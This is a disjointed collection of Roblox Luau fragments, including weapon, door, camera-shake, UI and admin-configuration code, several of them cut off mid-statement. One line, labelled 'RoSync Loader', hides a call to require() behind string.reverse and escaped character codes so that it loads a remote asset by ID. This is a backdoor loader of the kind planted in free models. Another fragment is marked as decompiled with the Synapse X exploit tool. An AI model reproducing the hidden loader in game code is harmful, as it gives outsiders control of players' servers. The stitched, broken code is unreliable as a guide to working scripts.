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--// Events
local L_107_ = L_20_:WaitForChild('Equipped') local L_108_ = L_20_:WaitForChild('ShootEvent') local L_109_ = L_20_:WaitForChild('DamageEvent') local L_110_ = L_20_:WaitForChild('CreateOwner') local L_111_ = L_20_:WaitForChild('Stance') local L_112_ = L_20_:WaitForChild('HitEvent') local L_113_ = L_20_:WaitForChild('KillEvent') local L_114_ = L_20_:WaitForChild('AimEvent') local L_115_ = L_20_:WaitForChild('ExploEvent') local L_116_ = L_20_:WaitForChild('AttachEvent') local L_117_ = L_20_:WaitForChild('ServerFXEvent') local L_118_ = L_20_:WaitForChild('ChangeIDEvent')
--// Services
local L_12_ = game:GetService('UserInputService') local L_13_ = game:GetService('RunService')
---------END LEFT DOOR
game.Workspace.DoorValues.BackMoving.Value = true wait(0.1) until game.Workspace.DoorValues.BackClose.Value=="0" --how much you want to open - the lower the number, the wider the door opens. end game.Workspace.DoorValues.Moving.Value = false end end end script.Parent.ClickDetector.MouseClick:connect(onClicked)
--Other
neck = part:findFirstChild("Neck") hum = char:findFirstChild("Humanoid")
--
local humanoidControl = {}; local humanoidControl_mt = {__index = humanoidControl}; function humanoidControl.new(player) local self = {}; self.character = player.Character; self.humanoid = self.character:WaitForChild("Humanoid"); self.hrp = self.character:WaitForChild("HumanoidRootPart"); self._lockedMoveVector = self.humanoid.MoveDirection; self._forcedMoveVector = self.humanoid.MoveDirection; self._mode = Enum.HumanoidControlType.Default; return setmetatable(self, humanoidControl_mt); end
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 0.3 -- cooldown for use of the tool again BoneModelName = "Souls thunder" -- name the zone model HumanoidName = "Humanoid"-- the name of player or mob u want to damage
-- When supplied, legacyCameraType is used and cameraMovementMode is ignored (should be nil anyways) -- Next, if userCameraCreator is passed in, that is used as the cameraCreator
function CameraModule:ActivateCameraController(cameraMovementMode, legacyCameraType: Enum.CameraType?) local newCameraCreator = nil if legacyCameraType~=nil then --[[ This function has been passed a CameraType enum value. Some of these map to the use of the LegacyCamera module, the value "Custom" will be translated to a movementMode enum value based on Dev and User settings, and "Scriptable" will disable the camera controller. --]] if legacyCameraType == Enum.CameraType.Scriptable then if self.activeCameraController then self.activeCameraController:Enable(false) self.activeCameraController = nil end return elseif legacyCameraType == Enum.CameraType.Custom then cameraMovementMode = self:GetCameraMovementModeFromSettings() elseif legacyCameraType == Enum.CameraType.Track then -- Note: The TrackCamera module was basically an older, less fully-featured -- version of ClassicCamera, no longer actively maintained, but it is re-implemented in -- case a game was dependent on its lack of ClassicCamera's extra functionality. cameraMovementMode = Enum.ComputerCameraMovementMode.Classic elseif legacyCameraType == Enum.CameraType.Follow then cameraMovementMode = Enum.ComputerCameraMovementMode.Follow elseif legacyCameraType == Enum.CameraType.Orbital then cameraMovementMode = Enum.ComputerCameraMovementMode.Orbital elseif legacyCameraType == Enum.CameraType.Attach or legacyCameraType == Enum.CameraType.Watch or legacyCameraType == Enum.CameraType.Fixed then newCameraCreator = LegacyCamera else warn("CameraScript encountered an unhandled Camera.CameraType value: ",legacyCameraType) end end if not newCameraCreator then if VRService.VREnabled then newCameraCreator = VRCamera elseif cameraMovementMode == Enum.ComputerCameraMovementMode.Classic or cameraMovementMode == Enum.ComputerCameraMovementMode.Follow or cameraMovementMode == Enum.ComputerCameraMovementMode.Default or cameraMovementMode == Enum.ComputerCameraMovementMode.CameraToggle then newCameraCreator = ClassicCamera elseif cameraMovementMode == Enum.ComputerCameraMovementMode.Orbital then newCameraCreator = OrbitalCamera else warn("ActivateCameraController did not select a module.") return end end local isVehicleCamera = self:ShouldUseVehicleCamera() if isVehicleCamera then if VRService.VREnabled then newCameraCreator = VRVehicleCamera else newCameraCreator = VehicleCamera end end -- Create the camera control module we need if it does not already exist in instantiatedCameraControllers local newCameraController if not instantiatedCameraControllers[newCameraCreator] then newCameraController = newCameraCreator.new() instantiatedCameraControllers[newCameraCreator] = newCameraController else newCameraController = instantiatedCameraControllers[newCameraCreator] if newCameraController.Reset then newCameraController:Reset() end end if self.activeCameraController then -- deactivate the old controller and activate the new one if self.activeCameraController ~= newCameraController then self.activeCameraController:Enable(false) self.activeCameraController = newCameraController self.activeCameraController:Enable(true) elseif not self.activeCameraController:GetEnabled() then self.activeCameraController:Enable(true) end elseif newCameraController ~= nil then -- only activate the new controller self.activeCameraController = newCameraController self.activeCameraController:Enable(true) end if self.activeCameraController then if cameraMovementMode~=nil then self.activeCameraController:SetCameraMovementMode(cameraMovementMode) elseif legacyCameraType~=nil then -- Note that this is only called when legacyCameraType is not a type that -- was convertible to a ComputerCameraMovementMode value, i.e. really only applies to LegacyCamera self.activeCameraController:SetCameraType(legacyCameraType) end end end
--[[ CameraShaker.CameraShakeInstance cameraShaker = CameraShaker.new(renderPriority, callbackFunction) CameraShaker:Start() CameraShaker:Stop() CameraShaker:StopSustained([fadeOutTime]) CameraShaker:Shake(shakeInstance) CameraShaker:ShakeSustain(shakeInstance) CameraShaker:ShakeOnce(magnitude, roughness [, fadeInTime, fadeOutTime, posInfluence, rotInfluence]) CameraShaker:StartShake(magnitude, roughness [, fadeInTime, posInfluence, rotInfluence]) EXAMPLE: local camShake = CameraShaker.new(Enum.RenderPriority.Camera.Value, function(shakeCFrame) camera.CFrame = playerCFrame * shakeCFrame end) camShake:Start() -- Explosion shake: camShake:Shake(CameraShaker.Presets.Explosion) wait(1) -- Custom shake: camShake:ShakeOnce(3, 1, 0.2, 1.5) -- Sustained shake: camShake:ShakeSustain(CameraShaker.Presets.Earthquake) -- Stop all sustained shakes: camShake:StopSustained(1) -- Argument is the fadeout time (defaults to the same as fadein time if not supplied) -- Stop only one sustained shake: shakeInstance = camShake:ShakeSustain(CameraShaker.Presets.Earthquake) wait(2) shakeInstance:StartFadeOut(1) -- Argument is the fadeout time NOTE: This was based entirely on the EZ Camera Shake asset for Unity3D. I was given written permission by the developer, Road Turtle Games, to port this to Roblox. Original asset link: https://assetstore.unity.com/packages/tools/camera/ez-camera-shake-33148 GitHub repository: https://github.com/Sleitnick/RbxCameraShaker --]]
local CameraShaker = {} CameraShaker.__index = CameraShaker local profileBegin = debug.profilebegin local profileEnd = debug.profileend local profileTag = "CameraShakerUpdate" local V3 = Vector3.new local CF = CFrame.new local ANG = CFrame.Angles local RAD = math.rad local v3Zero = V3() local CameraShakeInstance = require(script.CameraShakeInstance) local CameraShakeState = CameraShakeInstance.CameraShakeState local defaultPosInfluence = V3(0.15, 0.15, 0.15) local defaultRotInfluence = V3(1, 1, 1) CameraShaker.CameraShakeInstance = CameraShakeInstance function CameraShaker.new(renderPriority, callback) assert(type(renderPriority) == "number", "RenderPriority must be a number (e.g.: Enum.RenderPriority.Camera.Value)") assert(type(callback) == "function", "Callback must be a function") local self = setmetatable({ _running = false; _renderName = "CameraShaker"; _renderPriority = renderPriority; _posAddShake = v3Zero; _rotAddShake = v3Zero; _camShakeInstances = {}; _removeInstances = {}; _callback = callback; }, CameraShaker) return self end function CameraShaker:Start() if (self._running) then return end self._running = true local callback = self._callback game:GetService("RunService"):BindToRenderStep(self._renderName, self._renderPriority, function(dt) profileBegin(profileTag) local cf = self:Update(dt) profileEnd() callback(cf) end) end function CameraShaker:Stop() if (not self._running) then return end game:GetService("RunService"):UnbindFromRenderStep(self._renderName) self._running = false end function CameraShaker:StopSustained(duration) for _,c in pairs(self._camShakeInstances) do if (c.fadeOutDuration == 0) then c:StartFadeOut(duration or c.fadeInDuration) end end end function CameraShaker:Update(dt) dt = math.clamp(dt, 0, .6) local posAddShake = v3Zero local rotAddShake = v3Zero local instances = self._camShakeInstances -- Update all instances: for i = 1,#instances do local c = instances[i] local state = c:GetState() if (state == CameraShakeState.Inactive and c.DeleteOnInactive) then self._removeInstances[#self._removeInstances + 1] = i elseif (state ~= CameraShakeState.Inactive) then local shake = c:UpdateShake(dt) posAddShake = posAddShake + (shake * c.PositionInfluence) rotAddShake = rotAddShake + (shake * c.RotationInfluence) end end -- Remove dead instances: for i = #self._removeInstances,1,-1 do local instIndex = self._removeInstances[i] table.remove(instances, instIndex) self._removeInstances[i] = nil end return CF(posAddShake) * ANG(0, RAD(rotAddShake.Y), 0) * ANG(RAD(rotAddShake.X), 0, RAD(rotAddShake.Z)) end function CameraShaker:Shake(shakeInstance) assert(type(shakeInstance) == "table" and shakeInstance._camShakeInstance, "ShakeInstance must be of type CameraShakeInstance") self._camShakeInstances[#self._camShakeInstances + 1] = shakeInstance return shakeInstance end function CameraShaker:ShakeSustain(shakeInstance) assert(type(shakeInstance) == "table" and shakeInstance._camShakeInstance, "ShakeInstance must be of type CameraShakeInstance") self._camShakeInstances[#self._camShakeInstances + 1] = shakeInstance shakeInstance:StartFadeIn(shakeInstance.fadeInDuration) return shakeInstance end function CameraShaker:ShakeOnce(magnitude, roughness, fadeInTime, fadeOutTime, posInfluence, rotInfluence) local shakeInstance = CameraShakeInstance.new(magnitude, roughness, fadeInTime, fadeOutTime) shakeInstance.PositionInfluence = (typeof(posInfluence) == "Vector3" and posInfluence or defaultPosInfluence) shakeInstance.RotationInfluence = (typeof(rotInfluence) == "Vector3" and rotInfluence or defaultRotInfluence) self._camShakeInstances[#self._camShakeInstances + 1] = shakeInstance return shakeInstance end function CameraShaker:StartShake(magnitude, roughness, fadeInTime, posInfluence, rotInfluence) local shakeInstance = CameraShakeInstance.new(magnitude, roughness, fadeInTime) shakeInstance.PositionInfluence = (typeof(posInfluence) == "Vector3" and posInfluence or defaultPosInfluence) shakeInstance.RotationInfluence = (typeof(rotInfluence) == "Vector3" and rotInfluence or defaultRotInfluence) shakeInstance:StartFadeIn(fadeInTime) self._camShakeInstances[#self._camShakeInstances + 1] = shakeInstance return shakeInstance end return CameraShaker
-- model by CatLeoYT XD --
local Tool = script.Parent local speedforsmoke = 10 local CoilSound = Tool.Handle:WaitForChild("CoilSound") Tool.Equipped:connect(function() local Handle = Tool:WaitForChild("Handle") local HRP = Tool.Parent:FindFirstChild("HumanoidRootPart") local Human = Tool.Parent:FindFirstChild("Humanoid") CoilSound:Play() Human.WalkSpeed = Human.WalkSpeed * Tool.SpeedBoostScript.SpeedMultiplier.Value end) Tool.Unequipped:Connect(function() local player = script.Parent.Parent.Parent player.Character.Humanoid.WalkSpeed = 16 end)
-- INSTANCES --
local Ore = script:WaitForChild("Ore") local PriceUI = script:WaitForChild("Price")
-- Convenient syntax for creating a tree of instanes
local function create(className: string) return function(props) local inst = Instance.new(className) local parent = props.Parent props.Parent = nil for name, val in pairs(props) do if type(name) == "string" then inst[name] = val else val.Parent = inst end end -- Only set parent after all other properties are initialized inst.Parent = parent return inst end end local initialized = false local uiRoot: any local toast local toastIcon local toastUpperText local toastLowerText local function initializeUI() assert(not initialized, "initializeUI called when already initialized") uiRoot = create("ScreenGui"){ Name = "RbxCameraUI", AutoLocalize = false, Enabled = true, DisplayOrder = -1, -- Appears behind default developer UI IgnoreGuiInset = false, ResetOnSpawn = false, ZIndexBehavior = Enum.ZIndexBehavior.Sibling, create("ImageLabel"){ Name = "Toast", Visible = false, AnchorPoint = Vector2.new(0.5, 0), BackgroundTransparency = 1, BorderSizePixel = 0, Position = UDim2.new(0.5, 0, 0, 8), Size = TOAST_CLOSED_SIZE, Image = "rbxasset://textures/ui/Camera/CameraToast9Slice.png", ImageColor3 = TOAST_BACKGROUND_COLOR, ImageRectSize = Vector2.new(6, 6), ImageTransparency = 1, ScaleType = Enum.ScaleType.Slice, SliceCenter = Rect.new(3, 3, 3, 3), ClipsDescendants = true, create("Frame"){ Name = "IconBuffer", BackgroundTransparency = 1, BorderSizePixel = 0, Position = UDim2.new(0, 0, 0, 0), Size = UDim2.new(0, 80, 1, 0), create("ImageLabel"){ Name = "Icon", AnchorPoint = Vector2.new(0.5, 0.5), BackgroundTransparency = 1, Position = UDim2.new(0.5, 0, 0.5, 0), Size = UDim2.new(0, 48, 0, 48), ZIndex = 2, Image = "rbxasset://textures/ui/Camera/CameraToastIcon.png", ImageColor3 = TOAST_FOREGROUND_COLOR, ImageTransparency = 1, } }, create("Frame"){ Name = "TextBuffer", BackgroundTransparency = 1, BorderSizePixel = 0, Position = UDim2.new(0, 80, 0, 0), Size = UDim2.new(1, -80, 1, 0), ClipsDescendants = true, create("TextLabel"){ Name = "Upper", AnchorPoint = Vector2.new(0, 1), BackgroundTransparency = 1, Position = UDim2.new(0, 0, 0.5, 0), Size = UDim2.new(1, 0, 0, 19), Font = Enum.Font.GothamMedium, Text = "Camera control enabled", TextColor3 = TOAST_FOREGROUND_COLOR, TextTransparency = 1, TextSize = 19, TextXAlignment = Enum.TextXAlignment.Left, TextYAlignment = Enum.TextYAlignment.Center, }, create("TextLabel"){ Name = "Lower", AnchorPoint = Vector2.new(0, 0), BackgroundTransparency = 1, Position = UDim2.new(0, 0, 0.5, 3), Size = UDim2.new(1, 0, 0, 15), Font = Enum.Font.Gotham, Text = "Right mouse button to toggle", TextColor3 = TOAST_FOREGROUND_COLOR, TextTransparency = 1, TextSize = 15, TextXAlignment = Enum.TextXAlignment.Left, TextYAlignment = Enum.TextYAlignment.Center, }, }, }, Parent = PlayerGui, } toast = uiRoot.Toast toastIcon = toast.IconBuffer.Icon toastUpperText = toast.TextBuffer.Upper toastLowerText = toast.TextBuffer.Lower initialized = true end local CameraUI: any = {} do -- Instantaneously disable the toast or enable for opening later on. Used when switching camera modes. function CameraUI.setCameraModeToastEnabled(enabled: boolean) if not enabled and not initialized then return end if not initialized then initializeUI() end toast.Visible = enabled if not enabled then CameraUI.setCameraModeToastOpen(false) end end local tweenInfo = TweenInfo.new(0.25, Enum.EasingStyle.Quad, Enum.EasingDirection.Out) -- Tween the toast in or out. Toast must be enabled with setCameraModeToastEnabled. function CameraUI.setCameraModeToastOpen(open: boolean) assert(initialized) TweenService:Create(toast, tweenInfo, { Size = open and TOAST_OPEN_SIZE or TOAST_CLOSED_SIZE, ImageTransparency = open and TOAST_BACKGROUND_TRANS or 1, }):Play() TweenService:Create(toastIcon, tweenInfo, { ImageTransparency = open and TOAST_FOREGROUND_TRANS or 1, }):Play() TweenService:Create(toastUpperText, tweenInfo, { TextTransparency = open and TOAST_FOREGROUND_TRANS or 1, }):Play() TweenService:Create(toastLowerText, tweenInfo, { TextTransparency = open and TOAST_FOREGROUND_TRANS or 1, }):Play() end end return CameraUI
-- Decompiled with the Synapse X Luau decompiler.
local v1 = {}; local v2 = require(game.ReplicatedStorage.Modules.Lightning); local v3 = require(game.ReplicatedStorage.Modules.Xeno); local v4 = require(game.ReplicatedStorage.Modules.CameraShaker); local l__TweenService__5 = game.TweenService; local l__Debris__6 = game.Debris; local l__ReplicatedStorage__1 = game.ReplicatedStorage; function v1.RunStompFx(p1, p2, p3, p4) local v7 = l__ReplicatedStorage__1.KillFX[p1].Stomp:Clone(); v7.Parent = p2.Parent.UpperTorso and p2; v7:Play(); game.Debris:AddItem(v7, 5); local v8 = l__ReplicatedStorage__1.KillFX[p1].Stars:Clone(); v8.Parent = p2.Parent.UpperTorso and p2; v8:Play(); game.Debris:AddItem(v8, 5); local v9 = l__ReplicatedStorage__1.KillFX[p1].Part.AT:Clone(); v9.Parent = workspace.Terrain; v9.WorldPosition = p2.Parent.UpperTorso.Position + Vector3.new(0, 0, 0); task.delay(0.2, function() for v10, v11 in pairs(v9:GetChildren()) do v11.Enabled = false; end; end); local v12 = l__ReplicatedStorage__1.KillFX[p1].Sonny:Clone(); v12.Parent = workspace.Ignored.Animations; v12.CFrame = CFrame.new(p2.Parent.UpperTorso.CFrame.p) * CFrame.new(0, 0.5, 0); game.Debris:AddItem(v12, 4); delay(0, function() for v13 = 1, 0, -0.05 do v12.KO.Image.UIGradient.Transparency = NumberSequence.new({ NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(0.5, v13), NumberSequenceKeypoint.new(1, 1) }); task.wait(0.01); end; task.wait(1); for v14 = 0, 1, 0.025 do v12.KO.Image.UIGradient.Transparency = NumberSequence.new({ NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(0.5, v14), NumberSequenceKeypoint.new(1, 1) }); task.wait(0.01); end; end); task.delay(0.1, function() l__ReplicatedStorage__1.KillFX[p1].FireEffect:Clone().Parent = p2.Parent.UpperTorso; for v15, v16 in pairs(p2.Parent:GetDescendants()) do if v16:IsA("Basepart") and not v16:IsA("MeshPart") then v16.Color = Color3.fromRGB(0, 0, 0); elseif v16:IsA("Shirt") or v16:IsA("Pants") then v16.Color3 = Color3.fromRGB(0, 0, 0); elseif v16:IsA("Mesh") then v16.VertexColor = Color3.fromRGB(0, 0, 0); elseif v16:IsA("MeshPart") then v16.TextureID = ""; v16.Color = Color3.fromRGB(0, 0, 0); end; end; end); return nil; end; return v1;
-- Table used to hold Compat objects in memory.
local strongRefs = {}
-- ROBLOX upstream: https://github.com/facebook/jest/blob/v27.4.7/packages/pretty-format/src/index.ts -- /** -- * Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved. -- * -- * This source code is licensed under the MIT license found in the -- * LICENSE file in the root directory of this source tree. -- */
--[=[ @tag Component Instance @within Component @prop Instance Instance A reference back to the _Roblox_ instance from within a _component_ instance. When a component instance is created, it is bound to a specific Roblox instance, which will always be present through the `Instance` property. ```lua MyComponent.Started:Connect(function(component) local robloxInstance: Instance = component.Instance print("Component is bound to " .. robloxInstance:GetFullName()) end) ``` ]=]
local CollectionService = game:GetService("CollectionService") local RunService = game:GetService("RunService") local Signal = require(script.Parent.Signal) local Symbol = require(script.Parent.Symbol) local Trove = require(script.Parent.Trove) local Promise = require(script.Parent.Promise) local IS_SERVER = RunService:IsServer() local DEFAULT_ANCESTORS = { workspace, game:GetService("Players") } local DEFAULT_TIMEOUT = 60
--// Module LoadOrder List; Core modules need to be loaded in a specific order; If you create new "Core" modules make sure you add them here or they won't load
local CORE_LOADING_ORDER = table.freeze { --// Nearly all modules rely on these to function "Logs"; "Variables"; "Functions"; --// Core functionality "Core"; "Remote"; "Process"; --// Misc "Admin"; "HTTP"; "Anti"; "Commands"; }
-- Get the players set settings
local plr local wasEquipped = false if script.Parent.Parent.ClassName == "Backpack" then plr = script.Parent.Parent.Parent else wasEquipped = true plr = game.Players:GetPlayerFromCharacter(script.Parent.Parent) end local setSkin = game.ReplicatedStorage.RevolverSkins:FindFirstChild(plr.Settings.SetRevolverSkin.Value)
--This module is for any client FX related to the lab debris
local DoorFX = {} local tweenService = game:GetService("TweenService") local tweenInfo = TweenInfo.new(1, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut) local InitialModelCFrames = {} function DoorFX.OPEN(door) if not door then return end local TweenInf = TweenInfo.new(.5, Enum.EasingStyle.Linear) door.PurchaseDoor.Sound:Play() local Components = door:GetChildren() for _, Component in pairs (Components) do if not Component:IsA("Model") then continue end local descendants = Component:GetChildren() for _, item in pairs (descendants) do if item:IsA("BasePart") then coroutine.wrap(function() tweenService:Create(item, TweenInf, {Transparency = 1}):Play() end)() end end end end function DoorFX.CLOSE(door) if not door then return end local Components = door:GetChildren() for _, Component in pairs (Components) do if Component:IsA("Model") then Component.PrimaryPart.CFrame = InitialModelCFrames[Component] or Component.PrimaryPart.CFrame --this errors when the module is called for some reason so thats why its like that end end end return DoorFX
-- << CONFIGURATION >>
local rank = "Admin" local rankType = "Server" -- "Temp", "Server" or "Perm". For more info, visit: https://devforum.roblox.com/t/HD/266932 local successColor = Color3.fromRGB(0,255,0) local errorColor = Color3.fromRGB(255,0,0)
-- Creates a vector which represents a direction for a projectile to travel based on the cameras CFrame -- @param CFrame cameraCFrame -- @return Vector3
function SpreadSimulator:GetSpreadDirection(cameraCFrame) -- Roll random angle local randomZ = self.rng:NextNumber(0,360) -- Make cframe based on random angle local randomAngleCFrame = CFrame.Angles(0,0,-randomZ) -- Rotate camera cframe local rotatedCFrame = cameraCFrame * randomAngleCFrame -- Get a random point based on the circumference local randomMagnitude = self.rng:NextNumber(-self.currentSpread,self.currentSpread)/2 -- Make spread vector based on current spread and the random point on circumference local spreadDirection = rotatedCFrame.UpVector * (self.currentSpread * randomMagnitude) return cameraCFrame.LookVector * Spread_Distance_From_Camera + spreadDirection end
-- Killpart.BrickColor = BrickColor.new("Bright red") -- end --end)
-- ==================== -- INPUTS -- List of inputs that can be customized -- ====================
Keyboard = { Reload = Enum.KeyCode.R; HoldDown = Enum.KeyCode.H; Inspect = Enum.KeyCode.F; Switch = Enum.KeyCode.V; ToogleAim = Enum.KeyCode.T; Melee = Enum.KeyCode.Q; AltFire = Enum.KeyCode.C; }; Controller = { Fire = Enum.KeyCode.ButtonR1; Reload = Enum.KeyCode.ButtonX; HoldDown = Enum.KeyCode.DPadUp; Inspect = Enum.KeyCode.DPadDown; Switch = Enum.KeyCode.DPadRight; ToogleAim = Enum.KeyCode.ButtonL1; Melee = Enum.KeyCode.ButtonR3; AltFire = Enum.KeyCode.DPadRight; };
-- ScreenSpace -> WorldSpace. Taking a screen height that you want that object to be -- and a world height that is the size of that object, and returning the position to -- put that object at to satisfy those.
function ScreenSpace.ScreenToWorldByHeight(x, y, screenHeight, worldHeight) local aspectRatio = ScreenSpace.AspectRatio() local hfactor = math.tan(math.rad(workspace.CurrentCamera.FieldOfView)/2) local wfactor = aspectRatio*hfactor local sx, sy = ScreenSpace.ViewSizeX(), ScreenSpace.ViewSizeY() -- local depth = - (sy * worldHeight) / (screenHeight * 2 * hfactor) -- local xf, yf = x/sx*2 - 1, y/sy*2 - 1 local xpos = xf * -wfactor * depth local ypos = yf * hfactor * depth -- return Vector3.new(xpos, ypos, depth) end
-- Update when the Status signal changes
adPortal:GetPropertyChangedSignal("Status"):Connect(onAdStatusChange)
--script.Parent.Sign.SurfaceGui.TextLabel.Text = "1 Old Univ Av" --script.Parent.Parent.R1.BusA.Disabled = false --script.Parent.Parent.R1.BusB.Disabled = true
end if script.Parent.Value.Value == 2 then
---------------------------------------------------------------------------------------------------- ------------------=[ Status UI ]=------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------
,EnableStatusUI = false --- Don't disabled it... ,RunWalkSpeed = 22 ,NormalWalkSpeed = 16 ,SlowPaceWalkSpeed = 8 ,CrouchWalkSpeed = 8 ,ProneWalksSpeed = 4 ,EnableHunger = false --- Hunger and Thirst system ,HungerWaitTime = 25 ,CanDrown = false --- Welp.. That's it ,EnableStamina = false --- Weapon Sway based on stamina ,RunValue = 1 --- Stamina consumption ,StandRecover = .25 --- Stamina recovery while stading ,CrouchRecover = .5 --- Stamina recovery while crouching ,ProneRecover = 1 --- Stamina recovery while lying ,EnableGPS = false --- GPS shows your allies around you ,GPSdistance = 150
-- Initialize the tool
local SurfaceTool = { Name = 'Surface Tool'; Color = BrickColor.new 'Bright violet'; -- Default options Surface = 'All'; -- State CurrentSurfaceType = nil; -- Signals OnSurfaceChanged = Signal.new(); OnSurfaceTypeChanged = Signal.new(); } SurfaceTool.ManualText = [[<font face="GothamBlack" size="16">Surface Tool 🛠</font> Lets you change the surfaces of parts.<font size="6"><br /></font> <b>TIP: </b>Click a part's surface to select it quickly.]]
--[[ Last synced 7/31/2021 05:13 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[ ]]--
--[[ This is the DataStore version. The advantage to DataStore is that you can use any type of number. The disadvantage is that it can not be used to create a global leaderboard. --]]
-- A combo of table.find and table.keyOf -- This first attempts to find the ordinal index of your value, then attempts to find the lookup key if it can't find an ordinal index.
Table.indexOf = function (tbl, value) local fromFind = table.find(tbl, value) if fromFind then return fromFind end return Table.keyOf(tbl, value) end
--[[ DO NOT MODIFY. This file is auto-generated. Plugin: https://www.roblox.com/library/2307140444/Object-to-Lua ]]
return function () local Cmdr = Instance.new("ScreenGui") Cmdr.DisplayOrder = 1000 Cmdr.Name = "Cmdr" Cmdr.ResetOnSpawn = false local Frame = Instance.new("ScrollingFrame") Frame.BackgroundColor3 = Color3.fromRGB(17, 17, 17) Frame.BackgroundTransparency = 0.4 Frame.BorderSizePixel = 0 Frame.CanvasSize = UDim2.new(0, 0, 0, 100) Frame.Name = "Frame" Frame.Position = UDim2.new(0.025, 0, 0, 25) Frame.ScrollBarThickness = 6 Frame.ScrollingDirection = Enum.ScrollingDirection.Y Frame.Selectable = false Frame.Size = UDim2.new(0.95, 0, 0, 50) Frame.Visible = false Frame.Parent = Cmdr local Autocomplete = Instance.new("Frame") Autocomplete.BackgroundColor3 = Color3.fromRGB(59, 59, 59) Autocomplete.BackgroundTransparency = 0.5 Autocomplete.BorderSizePixel = 0 Autocomplete.Name = "Autocomplete" Autocomplete.Position = UDim2.new(0, 167, 0, 75) Autocomplete.Size = UDim2.new(0, 200, 0, 200) Autocomplete.Visible = false Autocomplete.Parent = Cmdr local UIListLayout = Instance.new("UIListLayout") UIListLayout.SortOrder = Enum.SortOrder.LayoutOrder UIListLayout.Parent = Frame local Line = Instance.new("TextLabel") Line.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Line.BackgroundTransparency = 1 Line.Font = Enum.Font.Code Line.Name = "Line" Line.Size = UDim2.new(1, 0, 0, 20) Line.TextColor3 = Color3.fromRGB(255, 255, 255) Line.TextSize = 14 Line.TextXAlignment = Enum.TextXAlignment.Left Line.Parent = Frame local UIPadding = Instance.new("UIPadding") UIPadding.PaddingBottom = UDim.new(0, 10) UIPadding.PaddingLeft = UDim.new(0, 10) UIPadding.PaddingRight = UDim.new(0, 10) UIPadding.PaddingTop = UDim.new(0, 10) UIPadding.Parent = Frame local Entry = Instance.new("Frame") Entry.BackgroundTransparency = 1 Entry.LayoutOrder = 999999999 Entry.Name = "Entry" Entry.Size = UDim2.new(1, 0, 0, 20) Entry.Parent = Frame local UIListLayout2 = Instance.new("UIListLayout") UIListLayout2.SortOrder = Enum.SortOrder.LayoutOrder UIListLayout2.Parent = Autocomplete local Title = Instance.new("Frame") Title.BackgroundColor3 = Color3.fromRGB(59, 59, 59) Title.BackgroundTransparency = 0.2 Title.BorderSizePixel = 0 Title.LayoutOrder = -2 Title.Name = "Title" Title.Size = UDim2.new(1, 0, 0, 40) Title.Parent = Autocomplete local Description = Instance.new("Frame") Description.BackgroundColor3 = Color3.fromRGB(59, 59, 59) Description.BackgroundTransparency = 0.2 Description.BorderSizePixel = 0 Description.LayoutOrder = -1 Description.Name = "Description" Description.Size = UDim2.new(1, 0, 0, 20) Description.Parent = Autocomplete local TextButton = Instance.new("TextButton") TextButton.BackgroundColor3 = Color3.fromRGB(59, 59, 59) TextButton.BackgroundTransparency = 0.5 TextButton.BorderSizePixel = 0 TextButton.Font = Enum.Font.Code TextButton.Size = UDim2.new(1, 0, 0, 30) TextButton.Text = "" TextButton.TextColor3 = Color3.fromRGB(255, 255, 255) TextButton.TextSize = 14 TextButton.TextXAlignment = Enum.TextXAlignment.Left TextButton.Parent = Autocomplete local TextBox = Instance.new("TextBox") TextBox.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextBox.BackgroundTransparency = 1 TextBox.ClearTextOnFocus = false TextBox.Font = Enum.Font.Code TextBox.LayoutOrder = 999999999 TextBox.Position = UDim2.new(0, 140, 0, 0) TextBox.Size = UDim2.new(1, 0, 0, 20) TextBox.Text = "x" TextBox.TextColor3 = Color3.fromRGB(255, 255, 255) TextBox.TextSize = 14 TextBox.TextXAlignment = Enum.TextXAlignment.Left TextBox.Parent = Entry local TextLabel = Instance.new("TextLabel") TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextLabel.BackgroundTransparency = 1 TextLabel.Font = Enum.Font.Code TextLabel.Size = UDim2.new(0, 133, 0, 20) TextLabel.Text = "" TextLabel.TextColor3 = Color3.fromRGB(255, 223, 93) TextLabel.TextSize = 14 TextLabel.TextXAlignment = Enum.TextXAlignment.Left TextLabel.Parent = Entry local Field = Instance.new("TextLabel") Field.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Field.BackgroundTransparency = 1 Field.Font = Enum.Font.SourceSansBold Field.Name = "Field" Field.Size = UDim2.new(0, 37, 1, 0) Field.Text = "from" Field.TextColor3 = Color3.fromRGB(255, 255, 255) Field.TextSize = 20 Field.TextXAlignment = Enum.TextXAlignment.Left Field.Parent = Title local UIPadding2 = Instance.new("UIPadding") UIPadding2.PaddingLeft = UDim.new(0, 10) UIPadding2.Parent = Title local Label = Instance.new("TextLabel") Label.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Label.BackgroundTransparency = 1 Label.Font = Enum.Font.SourceSansLight Label.Name = "Label" Label.Size = UDim2.new(1, 0, 1, 0) Label.Text = "The players to teleport. The players to teleport. The players to teleport. The players to teleport. " Label.TextColor3 = Color3.fromRGB(255, 255, 255) Label.TextSize = 16 Label.TextWrapped = true Label.TextXAlignment = Enum.TextXAlignment.Left Label.TextYAlignment = Enum.TextYAlignment.Top Label.Parent = Description local UIPadding3 = Instance.new("UIPadding") UIPadding3.PaddingBottom = UDim.new(0, 10) UIPadding3.PaddingLeft = UDim.new(0, 10) UIPadding3.PaddingRight = UDim.new(0, 10) UIPadding3.Parent = Description local Typed = Instance.new("TextLabel") Typed.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Typed.BackgroundTransparency = 1 Typed.Font = Enum.Font.Code Typed.Name = "Typed" Typed.Size = UDim2.new(1, 0, 1, 0) Typed.Text = "Lab" Typed.TextColor3 = Color3.fromRGB(131, 222, 255) Typed.TextSize = 14 Typed.TextXAlignment = Enum.TextXAlignment.Left Typed.Parent = TextButton local UIPadding4 = Instance.new("UIPadding") UIPadding4.PaddingLeft = UDim.new(0, 10) UIPadding4.Parent = TextButton local Suggest = Instance.new("TextLabel") Suggest.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Suggest.BackgroundTransparency = 1 Suggest.Font = Enum.Font.Code Suggest.Name = "Suggest" Suggest.Size = UDim2.new(1, 0, 1, 